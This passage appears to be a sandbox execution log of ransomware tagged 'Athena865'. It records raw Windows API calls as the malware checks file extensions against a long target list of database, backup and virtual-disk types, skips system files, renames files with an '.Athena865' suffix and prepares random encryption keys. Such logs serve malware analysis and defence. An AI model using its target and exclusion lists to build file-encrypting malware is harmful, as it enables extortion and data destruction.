lpString2="kexic") returned 1 [0102.691] lstrlenW (lpString="kexis") returned 5 [0102.691] lstrcmpiW (lpString1="z.swf", lpString2="kexis") returned 1 [0102.691] lstrlenW (lpString="lgc") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1 [0102.691] lstrlenW (lpString="lwx") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1 [0102.691] lstrlenW (lpString="maf") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1 [0102.691] lstrlenW (lpString="maq") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1 [0102.691] lstrlenW (lpString="mar") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1 [0102.691] lstrlenW (lpString="marshal") returned 7 [0102.691] lstrcmpiW (lpString1="Txz.swf", lpString2="marshal") returned 1 [0102.691] lstrlenW (lpString="mas") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1 [0102.691] lstrlenW (lpString="mav") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1 [0102.691] lstrlenW (lpString="maw") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1 [0102.691] lstrlenW (lpString="mdbhtml") returned 7 [0102.691] lstrcmpiW (lpString1="Txz.swf", lpString2="mdbhtml") returned 1 [0102.691] lstrlenW (lpString="mdn") returned 3 [0102.691] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1 [0102.691] lstrlenW (lpString="mdt") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1 [0102.692] lstrlenW (lpString="mfd") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1 [0102.692] lstrlenW (lpString="mpd") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1 [0102.692] lstrlenW (lpString="mrg") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1 [0102.692] lstrlenW (lpString="mud") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1 [0102.692] lstrlenW (lpString="mwb") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1 [0102.692] lstrlenW (lpString="myd") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1 [0102.692] lstrlenW (lpString="ndf") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1 [0102.692] lstrlenW (lpString="nnt") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1 [0102.692] lstrlenW (lpString="nrmlib") returned 6 [0102.692] lstrcmpiW (lpString1="xz.swf", lpString2="nrmlib") returned 1 [0102.692] lstrlenW (lpString="ns2") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1 [0102.692] lstrlenW (lpString="ns3") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1 [0102.692] lstrlenW (lpString="ns4") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1 [0102.692] lstrlenW (lpString="nsf") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1 [0102.692] lstrlenW (lpString="nv") returned 2 [0102.692] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1 [0102.692] lstrlenW (lpString="nv2") returned 3 [0102.692] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1 [0102.692] lstrlenW (lpString="nwdb") returned 4 [0102.692] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1 [0102.693] lstrlenW (lpString="nyf") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1 [0102.693] lstrlenW (lpString="odb") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.693] lstrlenW (lpString="odb") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1 [0102.693] lstrlenW (lpString="oqy") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1 [0102.693] lstrlenW (lpString="ora") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1 [0102.693] lstrlenW (lpString="orx") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1 [0102.693] lstrlenW (lpString="owc") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1 [0102.693] lstrlenW (lpString="p96") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1 [0102.693] lstrlenW (lpString="p97") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1 [0102.693] lstrlenW (lpString="pan") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1 [0102.693] lstrlenW (lpString="pdb") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1 [0102.693] lstrlenW (lpString="pdm") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1 [0102.693] lstrlenW (lpString="pnz") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1 [0102.693] lstrlenW (lpString="qry") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="qry") returned 1 [0102.693] lstrlenW (lpString="qvd") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1 [0102.693] lstrlenW (lpString="rbf") returned 3 [0102.693] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1 [0102.693] lstrlenW (lpString="rctd") returned 4 [0102.693] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1 [0102.694] lstrlenW (lpString="rod") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1 [0102.694] lstrlenW (lpString="rodx") returned 4 [0102.694] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1 [0102.694] lstrlenW (lpString="rpd") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1 [0102.694] lstrlenW (lpString="rsd") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1 [0102.694] lstrlenW (lpString="sas7bdat") returned 8 [0102.694] lstrcmpiW (lpString1="qTxz.swf", lpString2="sas7bdat") returned -1 [0102.694] lstrlenW (lpString="sbf") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1 [0102.694] lstrlenW (lpString="scx") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1 [0102.694] lstrlenW (lpString="sdb") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1 [0102.694] lstrlenW (lpString="sdc") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1 [0102.694] lstrlenW (lpString="sdf") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1 [0102.694] lstrlenW (lpString="sis") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1 [0102.694] lstrlenW (lpString="spq") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1 [0102.694] lstrlenW (lpString="te") returned 2 [0102.694] lstrcmpiW (lpString1="wf", lpString2="te") returned 1 [0102.694] lstrlenW (lpString="teacher") returned 7 [0102.694] lstrcmpiW (lpString1="Txz.swf", lpString2="teacher") returned 1 [0102.694] lstrlenW (lpString="tmd") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1 [0102.694] lstrlenW (lpString="tps") returned 3 [0102.694] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1 [0102.694] lstrlenW (lpString="trc") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.695] lstrlenW (lpString="trc") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1 [0102.695] lstrlenW (lpString="trm") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1 [0102.695] lstrlenW (lpString="udb") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1 [0102.695] lstrlenW (lpString="udl") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1 [0102.695] lstrlenW (lpString="usr") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1 [0102.695] lstrlenW (lpString="v12") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1 [0102.695] lstrlenW (lpString="vis") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1 [0102.695] lstrlenW (lpString="vpd") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1 [0102.695] lstrlenW (lpString="vvv") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1 [0102.695] lstrlenW (lpString="wdb") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1 [0102.695] lstrlenW (lpString="wmdb") returned 4 [0102.695] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1 [0102.695] lstrlenW (lpString="wrk") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1 [0102.695] lstrlenW (lpString="xdb") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1 [0102.695] lstrlenW (lpString="xld") returned 3 [0102.695] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1 [0102.695] lstrlenW (lpString="xmlff") returned 5 [0102.695] lstrcmpiW (lpString1="z.swf", lpString2="xmlff") returned 1 [0102.695] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\fPJIH7d2ZFTvJYTVqTxz.swf.Athena865") returned 106 [0102.696] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\fPJIH7d2ZFTvJYTVqTxz.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\fpjih7d2zftvjytvqtxz.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\fPJIH7d2ZFTvJYTVqTxz.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\fpjih7d2zftvjytvqtxz.swf.athena865"), dwFlags=0x1) returned 1 [0102.696] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\fPJIH7d2ZFTvJYTVqTxz.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\fpjih7d2zftvjytvqtxz.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.697] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54259) returned 1 [0102.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.698] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.702] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.702] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.702] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd700, lpName=0x0) returned 0x17c [0102.702] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd700) returned 0x100000 [0102.704] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.705] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.705] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.705] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.706] CloseHandle (hObject=0x17c) returned 1 [0102.706] CloseHandle (hObject=0x154) returned 1 [0102.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.707] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x491a5820, ftCreationTime.dwHighDateTime=0x1d4d127, ftLastAccessTime.dwLowDateTime=0xb7a410f0, ftLastAccessTime.dwHighDateTime=0x1d4d2ea, ftLastWriteTime.dwLowDateTime=0xb7a410f0, ftLastWriteTime.dwHighDateTime=0x1d4d2ea, nFileSizeHigh=0x0, nFileSizeLow=0x156f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gbY7WKRsG9wRhP5LYdO.swf", cAlternateFileName="GBY7WK~1.SWF")) returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2=".") returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="..") returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="windows") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="bootmgr") returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="temp") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="pagefile.sys") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="boot") returned 1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="ids.txt") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="ntuser.dat") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="perflogs") returned -1 [0102.707] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2="MSBuild") returned -1 [0102.708] lstrlenW (lpString="gbY7WKRsG9wRhP5LYdO.swf") returned 23 [0102.708] lstrcpyW (in: lpString1=0x241e8d8, lpString2="gbY7WKRsG9wRhP5LYdO.swf" | out: lpString1="gbY7WKRsG9wRhP5LYdO.swf") returned="gbY7WKRsG9wRhP5LYdO.swf" [0102.708] lstrlenW (lpString="gbY7WKRsG9wRhP5LYdO.swf") returned 23 [0102.708] lstrlenW (lpString="Athena865") returned 9 [0102.708] lstrcmpiW (lpString1="5LYdO.swf", lpString2="Athena865") returned -1 [0102.708] lstrlenW (lpString=".dll") returned 4 [0102.708] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2=".dll") returned 1 [0102.708] lstrlenW (lpString=".lnk") returned 4 [0102.708] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2=".lnk") returned 1 [0102.708] lstrlenW (lpString=".ini") returned 4 [0102.708] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2=".ini") returned 1 [0102.708] lstrlenW (lpString=".sys") returned 4 [0102.708] lstrcmpiW (lpString1="gbY7WKRsG9wRhP5LYdO.swf", lpString2=".sys") returned 1 [0102.708] lstrlenW (lpString="gbY7WKRsG9wRhP5LYdO.swf") returned 23 [0102.708] lstrlenW (lpString="bak") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1 [0102.708] lstrlenW (lpString="ba_") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1 [0102.708] lstrlenW (lpString="dbb") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1 [0102.708] lstrlenW (lpString="vmdk") returned 4 [0102.708] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1 [0102.708] lstrlenW (lpString="rar") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1 [0102.708] lstrlenW (lpString="zip") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1 [0102.708] lstrlenW (lpString="tgz") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1 [0102.708] lstrlenW (lpString="vbox") returned 4 [0102.708] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1 [0102.708] lstrlenW (lpString="vdi") returned 3 [0102.708] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1 [0102.709] lstrlenW (lpString="vhd") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1 [0102.709] lstrlenW (lpString="vhdx") returned 4 [0102.709] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1 [0102.709] lstrlenW (lpString="avhd") returned 4 [0102.709] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1 [0102.709] lstrlenW (lpString="db") returned 2 [0102.709] lstrcmpiW (lpString1="wf", lpString2="db") returned 1 [0102.709] lstrlenW (lpString="db2") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1 [0102.709] lstrlenW (lpString="db3") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1 [0102.709] lstrlenW (lpString="dbf") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1 [0102.709] lstrlenW (lpString="mdf") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1 [0102.709] lstrlenW (lpString="mdb") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1 [0102.709] lstrlenW (lpString="sql") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1 [0102.709] lstrlenW (lpString="sqlite") returned 6 [0102.709] lstrcmpiW (lpString1="dO.swf", lpString2="sqlite") returned -1 [0102.709] lstrlenW (lpString="sqlite3") returned 7 [0102.709] lstrcmpiW (lpString1="YdO.swf", lpString2="sqlite3") returned 1 [0102.709] lstrlenW (lpString="sqlitedb") returned 8 [0102.709] lstrcmpiW (lpString1="LYdO.swf", lpString2="sqlitedb") returned -1 [0102.709] lstrlenW (lpString="xml") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1 [0102.709] lstrlenW (lpString="$er") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1 [0102.709] lstrlenW (lpString="4dd") returned 3 [0102.709] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1 [0102.709] lstrlenW (lpString="4dl") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1 [0102.710] lstrlenW (lpString="^^^") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1 [0102.710] lstrlenW (lpString="abs") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1 [0102.710] lstrlenW (lpString="abx") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1 [0102.710] lstrlenW (lpString="accdb") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accdb") returned 1 [0102.710] lstrlenW (lpString="accdc") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accdc") returned 1 [0102.710] lstrlenW (lpString="accde") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accde") returned 1 [0102.710] lstrlenW (lpString="accdr") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accdr") returned 1 [0102.710] lstrlenW (lpString="accdt") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accdt") returned 1 [0102.710] lstrlenW (lpString="accdw") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accdw") returned 1 [0102.710] lstrlenW (lpString="accft") returned 5 [0102.710] lstrcmpiW (lpString1="O.swf", lpString2="accft") returned 1 [0102.710] lstrlenW (lpString="adb") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.710] lstrlenW (lpString="adb") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0102.710] lstrlenW (lpString="ade") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1 [0102.710] lstrlenW (lpString="adf") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1 [0102.710] lstrlenW (lpString="adn") returned 3 [0102.710] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1 [0102.710] lstrlenW (lpString="adp") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1 [0102.711] lstrlenW (lpString="alf") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1 [0102.711] lstrlenW (lpString="ask") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1 [0102.711] lstrlenW (lpString="btr") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1 [0102.711] lstrlenW (lpString="cat") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1 [0102.711] lstrlenW (lpString="cdb") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1 [0102.711] lstrlenW (lpString="ckp") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1 [0102.711] lstrlenW (lpString="cma") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1 [0102.711] lstrlenW (lpString="cpd") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1 [0102.711] lstrlenW (lpString="dacpac") returned 6 [0102.711] lstrcmpiW (lpString1="dO.swf", lpString2="dacpac") returned 1 [0102.711] lstrlenW (lpString="dad") returned 3 [0102.711] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1 [0102.711] lstrlenW (lpString="dadiagrams") returned 10 [0102.711] lstrcmpiW (lpString1="P5LYdO.swf", lpString2="dadiagrams") returned 1 [0102.711] lstrlenW (lpString="daschema") returned 8 [0102.711] lstrcmpiW (lpString1="LYdO.swf", lpString2="daschema") returned 1 [0102.711] lstrlenW (lpString="db-journal") returned 10 [0102.711] lstrcmpiW (lpString1="P5LYdO.swf", lpString2="db-journal") returned 1 [0102.711] lstrlenW (lpString="db-shm") returned 6 [0102.711] lstrcmpiW (lpString1="dO.swf", lpString2="db-shm") returned 1 [0102.711] lstrlenW (lpString="db-wal") returned 6 [0102.711] lstrcmpiW (lpString1="dO.swf", lpString2="db-wal") returned 1 [0102.711] lstrlenW (lpString="dbc") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1 [0102.712] lstrlenW (lpString="dbs") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1 [0102.712] lstrlenW (lpString="dbt") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1 [0102.712] lstrlenW (lpString="dbv") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1 [0102.712] lstrlenW (lpString="dbx") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1 [0102.712] lstrlenW (lpString="dcb") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1 [0102.712] lstrlenW (lpString="dct") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1 [0102.712] lstrlenW (lpString="dcx") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1 [0102.712] lstrlenW (lpString="ddl") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1 [0102.712] lstrlenW (lpString="dlis") returned 4 [0102.712] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1 [0102.712] lstrlenW (lpString="dp1") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1 [0102.712] lstrlenW (lpString="dqy") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1 [0102.712] lstrlenW (lpString="dsk") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1 [0102.712] lstrlenW (lpString="dsn") returned 3 [0102.712] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1 [0102.712] lstrlenW (lpString="dtsx") returned 4 [0102.712] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1 [0102.712] lstrlenW (lpString="dxl") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1 [0102.713] lstrlenW (lpString="eco") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1 [0102.713] lstrlenW (lpString="ecx") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1 [0102.713] lstrlenW (lpString="edb") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1 [0102.713] lstrlenW (lpString="epim") returned 4 [0102.713] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1 [0102.713] lstrlenW (lpString="fcd") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1 [0102.713] lstrlenW (lpString="fdb") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1 [0102.713] lstrlenW (lpString="fic") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1 [0102.713] lstrlenW (lpString="flexolibrary") returned 12 [0102.713] lstrcmpiW (lpString1="RhP5LYdO.swf", lpString2="flexolibrary") returned 1 [0102.713] lstrlenW (lpString="fm5") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1 [0102.713] lstrlenW (lpString="fmp") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1 [0102.713] lstrlenW (lpString="fmp12") returned 5 [0102.713] lstrcmpiW (lpString1="O.swf", lpString2="fmp12") returned 1 [0102.713] lstrlenW (lpString="fmpsl") returned 5 [0102.713] lstrcmpiW (lpString1="O.swf", lpString2="fmpsl") returned 1 [0102.713] lstrlenW (lpString="fol") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1 [0102.713] lstrlenW (lpString="fp3") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1 [0102.713] lstrlenW (lpString="fp4") returned 3 [0102.713] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1 [0102.713] lstrlenW (lpString="fp5") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1 [0102.714] lstrlenW (lpString="fp7") returned 3 [0102.714] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1 [0102.714] lstrlenW (lpString="fpt") returned 3 [0102.714] 